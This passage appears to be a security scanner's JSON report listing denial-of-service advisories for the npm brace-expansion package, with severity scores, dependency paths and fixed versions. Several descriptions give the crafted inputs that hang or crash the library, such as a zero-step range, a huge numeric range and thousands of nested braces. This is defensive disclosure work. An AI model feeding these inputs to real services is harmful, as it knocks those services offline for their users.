"moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", 